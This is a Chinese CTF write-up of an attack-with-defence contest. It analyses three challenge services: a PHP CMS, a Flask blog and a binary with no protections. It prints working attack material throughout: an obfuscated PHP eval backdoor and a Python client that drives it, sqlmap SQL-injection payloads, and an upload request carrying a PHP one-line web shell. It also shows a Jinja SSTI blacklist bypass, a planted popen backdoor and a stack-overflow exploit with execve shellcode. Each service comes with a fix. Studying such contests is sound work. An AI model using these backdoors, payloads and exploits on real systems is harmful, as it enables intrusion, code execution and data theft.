广东强网杯AWD题目分析
上周末跟着大佬去广外打了一场线下赛,上午是应急响应,总体难度不大,大部分队伍都完成了10题,剩余一题逻辑卷损坏不会做。下午是AWD,由于主办方问题,导致了比赛延迟了1小时才进行,给了大量的时间进行题目分析,3个环境都在1小时内写好EXP。同时还有两个非预期的翻车事故,一是所有靶机的密码竟然都是一样,导致不少队伍给别人改了密码。二是使用操作系统竟然不是最新的内核版本,导致被人进行了提权。下面总结一下3个题目找到的漏洞,以及防御方法。
web1 php
第一个web是一个php写的CMS
漏洞一 预置后门
使用D盾可以扫到一个后门
<?php
$o='n();$r=@bas}>}>e64_encode(@x(}>@gzc}>o}>mpress($o),$}>k));p}>rint("}>$p$kh}>$r$kf");}';
$g='>EgwZ7H}>iEecl}>S";function }>x($t,$}>k){$}>}>c=s}>trlen(}>$k)}>;$l=strlen($t);$o="';
$l='";}>f}>or($i=0;$}>}>i<$l;){for($}>j=}>0;}>}>($j<$c&&$i<$l}>);$j++,$i++){$o.}>}>=$';
$r='_contents}>("p}>}>hp://i}>nput")}>,$m)==1){@ob_star}>t(}>);@}>eva}>l(@gzu}>ncompress(';
$L='$k="5ac}>91f7}>d";$}>kh=}>}>"b9615a29}>bc1d";}>$kf="24d0b67}>c2c91";$p}>="9GmI}>}';
$s=str_replace('C','','cCreaCteC_fCuCCnction');
$Z='t{$i}^}>$k{$}>j}>};}}ret}>urn $o;}}>if(@preg_match}>}>("}>/$kh(.+}>)$kf}>/",@file_}>get';
$h='@x(@ba}>se64}>_d}>ecode($m[1])}>,$}>}>k)))}>;}>$o=@}>ob_get_contents();@ob_}>en}>d_cl}>ea';
$q=str_replace('}>','',$L.$g.$l.$Z.$r.$h.$o);
$I=$s('',$q);$I();
?>
后门不是简单的一句话木马,需要调试分析
var_dump($I); // %00lambda_1
var_dump($q); // $k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
整理一下代码如下:
<?php
$k="5ac91f7d";
$kh="b9615a29bc1d";
$kf="24d0b67c2c91";
$p="9GmIEgwZ7HiEeclS";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
后门的流程如下:
- 首先用正则匹配post的内容,前缀为
$kh
,后缀为$kf
- 匹配内容进行base64解码
- 进行xor,key为
$k
- 进行gzuncompress解压
- 进入eval执行代码
- 返回内容用相反的顺序进行加密
根据后门的流程编写python脚本即可
import requests
import zlib
import re
import base64
def x(t,k):
return ''.join([chr(ord(x)^ord(y)) for x,y in zip(t,k*(len(t)/len(k)+1))])
session = requests.Session()
# @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
cmd = 'system("cat /flag");'
cmd = zlib.compress(cmd)
cmd = x(cmd,"5ac91f7d")
cmd = base64.b64encode(cmd)
rawBody = "b9615a29bc1d{cmd}24d0b67c2c91".format(cmd=cmd)
response = session.post("http://192.168.100.101:50003/123.php", data=rawBody)
print("Response body: %s" % response.content)
res = re.findall(r'b9615a29bc1d(.+)24d0b67c2c91',response.content)[0]
# $r=@base64_encode(@x(@gzcompress($o),$k));
res = base64.b64decode(res)
res = x(res,"5ac91f7d")
res = zlib.decompress(res)
print(res)
漏洞一修复
比起之前见过的一些简单粗暴的内置一句话木马,这个后门相对复杂,不至于一上来就被人打爆。防御方式不用多说,直接删掉这段代码即可。
漏洞二 数据库注入
打开源码,会发现大量的数据库查询语句,一般只有addslashes,无任何过滤,例如:
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
直接使用sqlmap跑一下就跑出来了
Parameter: cid (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: r=software&cid=1 RLIKE (SELECT (CASE WHEN (6552=6552) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: r=software&cid=1 AND EXTRACTVALUE(9269,CONCAT(0x5c,0x716b766271,(SELECT (ELT(9269=9269,1))),0x716a626b71))
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: r=software&cid=1 AND SLEEP(5)
可以直接通过load_file
来读取flag。
漏洞二修复
当时尝试把ctf用户降权,但是权限不够,那么只能从代码入手。可以在数据库查询之前,对输入参数进行过滤.
<?php
function filter($str) {
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "|" . urldecode('%a0') . "/i";
if (preg_match($filter, $str)) {
die("you can't input this illegal char!");
}
return $str;
}
漏洞三 文件上传
查看数据库,可以看到后台密码
mysql> select * from manage;
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
| id | user | name | password | img | mail | qq | date |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
| 1 | admin | admin | 5df3d06e515ef461ddc315aaf1ef9963 | ../upload/touxiang/61751569137471.php | me@baidu.so | 86226999 | 2019-09-22 08:18:14 |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
1 row in set (0.00 sec)
登录后台可以进行头像上传
查看源码上传部分的代码
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (!empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
var_dump($tmp);
$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
$tmp -> accessPath =$upload;
if ( $tmp -> TODO() )
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
$imgsms="及图片";
}
}
}
在/inc/up.class.php
可能有过滤,查看一下代码
<?php
class FileUpload_Single
{
//user define -------------------------------------
var $accessPath ;
var $fileSize=4000;
var $defineTypeList="jpg|jpeg|gif|png|php";//string jpg|gif|bmp ...
var $filePrefix= "";
var $changNameMode=0;
var $uploadFile;
var $newFileName;
var $error;
发现默认竟然可以上传php!那么直接上传php马即可,文件路径会显示在头像路径那里。
POST /admin/?r=manageinfo HTTP/1.1
Host: www.kira.com
Content-Length: 896
Cache-Control: max-age=0
Origin: http://www.kira.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbFN0WGFM34xqzmF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.kira.com/admin/?r=manageinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: PHPSESSID=553efd0695ddb859599983f05171102b; user=admin
Connection: close
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="user"
admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password"
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password2"
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="mail"
me@baidu.so
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="qq"
86226999
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="images"; filename="123.php"
Content-Type: application/octet-stream
<?php @eval($_POST[c]);?>
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="save"
1
------WebKitFormBoundaryAbFN0WGFM34xqzmF--
漏洞三修复
修改/inc/up.class.php
处的代码,删除$defineTypeList
中的php,不允许上传php。
web2 python
第二个web是一个flask写的blog
漏洞一 SSTI
@app.errorhandler(404)
def page_not_found(e):
def safe_jinja(s):
blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
for no in blacklist:
while True:
if no in s:
s =s.replace(no,'')
else:
break
a = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in a])+s
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(safe_jinja(template)), 404
查看app.py
,可以找到一个常见的SSTI漏洞,触发点是404,简单测试一下,发现确实可以模板注入。
代码自带了黑名单过滤,查用循环替换为空的过滤方式,浏览一下发现过滤不全,下划线,中括号,init
,globals
等关键字没有过滤,部分关键字可以使用字符串拼接的方式进行绕过。
最终读取flag的payload为:
http://127.0.0.1:5000/login/{{session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}}
漏洞一 修复方法
原题已经提供了过滤的函数,直接增加过滤关键字就可以进行修复,例如直接把下划线加入黑名单
blacklist = ['_','import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
漏洞二 预置后门
查看blog编辑器的代码flask_blogging/views.py
@login_required
def editor(post_id):
blogging_engine = _get_blogging_engine(current_app)
cache = blogging_engine.cache
if cache:
_clear_cache(cache)
try:
with blogging_engine.blogger_permission.require():
post_processor = blogging_engine.post_processor
config = blogging_engine.config
storage = blogging_engine.storage
if request.method == 'POST':
form = BlogEditor(request.form)
if form.validate():
post = storage.get_post_by_id(post_id)
if (post is not None) and \
(PostProcessor.is_author(post, current_user)) and \
(str(post["post_id"]) == post_id):
pass
else:
post = {}
escape_text = config.get("BLOGGING_ESCAPE_MARKDOWN", False)
pid = _store_form_data(form, storage, current_user, post,
escape_text)
editor_post_saved.send(blogging_engine.app,
engine=blogging_engine,
post_id=pid,
user=current_user,
post=post)
flash("Blog posted successfully!", "info")
slug = post_processor.create_slug(form.title.data)
return redirect(url_for("blogging.page_by_id", post_id=pid,
slug=slug))
else:
flash("There were errors in blog submission", "warning")
return render_template("blogging/editor.html", form=form,
post_id=post_id, config=config)
else:
if post_id is not None:
post = storage.get_post_by_id(post_id)
if (post is not None) and \
(PostProcessor.is_author(post, current_user)):
tags = " ".join(post["tags"])
form = BlogEditor(title=post["title"],
text=post["text"], tags=tags, public=post['public'])
editor_get_fetched.send(blogging_engine.app,
engine=blogging_engine,
post_id=post_id,
form=form)
return render_template("blogging/editor.html",
form=form, post_id=post_id,
config=config)
else:
flash("You do not have the rights to edit this post",
"warning")
return redirect(url_for("blogging.index",
post_id=None))
form = BlogEditor()
try:
bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read()
except:
bingo = ''
return render_template("blogging/editor.html", form=form,
post_id=post_id, config=config, bingo=bingo)
except PermissionDenied:
flash("You do not have permissions to create or edit posts", "warning")
return redirect(url_for("blogging.index", post_id=None))
留意到这个函数有一句bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read()
,进行了命令执行,base64解码可以看到执行了cat /flag
> echo Y2F0IC9mbGFnCg==|base64 -d
cat /flag
函数开头有@login_required
装饰器,因此需要进行登陆。
根据数据库的代码,可以找到数据库文件
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data/ezBlog.db'
class User(db.Model, UserMixin):
__tablename__ = 'user'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(32), unique=True)
password = db.Column(db.String(64), unique=True)
#posts = blog_db.relationship(, backref = , lazy = ) ## posts blongs to cur user
def __init__(self, username, password):
self.username = username
self.password = password
使用sqlite studio查看数据库,可以看到默认的账号密码
使用test,test登陆后,在blog编辑界面就可以看到flag
漏洞二 修复方法
方法一:直接把命令执行的代码删除或者改掉
方法二:修改后台弱口令
pwn
漏洞分析
[*] '/home/kira/pwn/za/qwb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
题目什么保护都没开,可见难度不会太大。
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
int v5; // [rsp+Ch] [rbp-34h]
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
__int64 v8; // [rsp+20h] [rbp-20h]
__int64 v9; // [rsp+28h] [rbp-18h]
__int16 v10; // [rsp+30h] [rbp-10h]
unsigned int v11; // [rsp+38h] [rbp-8h]
int v12; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0;
v11 = 0;
v12 = 0;
alarm(0x14u);
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
menu(v3, 0LL);
while ( v12 <= 3 )
{
v5 = 0;
puts("Enter your choice:");
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 2:
magic(&buf, v11); // 地址泄露
break;
case 3:
puts("What?");
read(0, &buf, 0x40uLL); // 栈溢出
break;
case 1:
what(); // 没用的
break;
}
++v12;
}
return 0;
}
int __fastcall magic(__int64 a1, int a2)
{
int result; // eax
if ( a2 == 0x12345678 )
result = printf("It is magic: [%p]?\n", a1);
return result;
}
函数功能不多,漏洞很明显:
- magic函数可以泄露栈地址,前提是v11是0x12345678。
- case 3可以进行栈溢出,刚好能覆盖到返回地址。
那么思路就是:
- 溢出覆盖v11为0x12345678,然后进行magic函数获取buff地址。
- 将shellcode写入buff,然后栈溢出覆盖返回地址为buff地址。
buf有0x38的长度供写入shellcode,卓卓有余,网上可以找22字节左右的shellcode,当然也可以自己写。
exp
def pwn(p):
p.sendlineafter('choice:\n','3')
p.send(p64(0x12345678)*6)
p.sendlineafter('choice:\n','2')
p.recvuntil('[')
addr = int(p.recvuntil(']')[:-1],16)
success(hex(addr)) # 0x7f09b7083000 0x7ffe28596f00
p.sendlineafter('choice:\n','3')
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
print len(shellcode)
payload = shellcode.ljust(0x38,'\x00')+p64(addr)
p.sendline('3')
p.sendline('3')
p.sendline(payload)
p.sendline('cat flag')
p.recv()
p.sendline('cat flag')
p.recv()
p.interactive()
漏洞修复
getshell的关键点是栈溢出,因此只要把输入长度限制到0x30,漏洞就无法利用。
.text:000000000040086B lea rax, [rbp+buf]
.text:000000000040086F mov edx, 30h ; nbytes
.text:0000000000400874 mov rsi, rax ; buf
.text:0000000000400877 mov edi, 0 ; fd
.text:000000000040087C call _read
题目没有设置更高级的漏洞,略显无趣。
比较过分的是,有队伍进行了提权,然后把flag删除了,只能在flag刷新的时候疯狂跑EXP,有机会在对方删flag前拿到。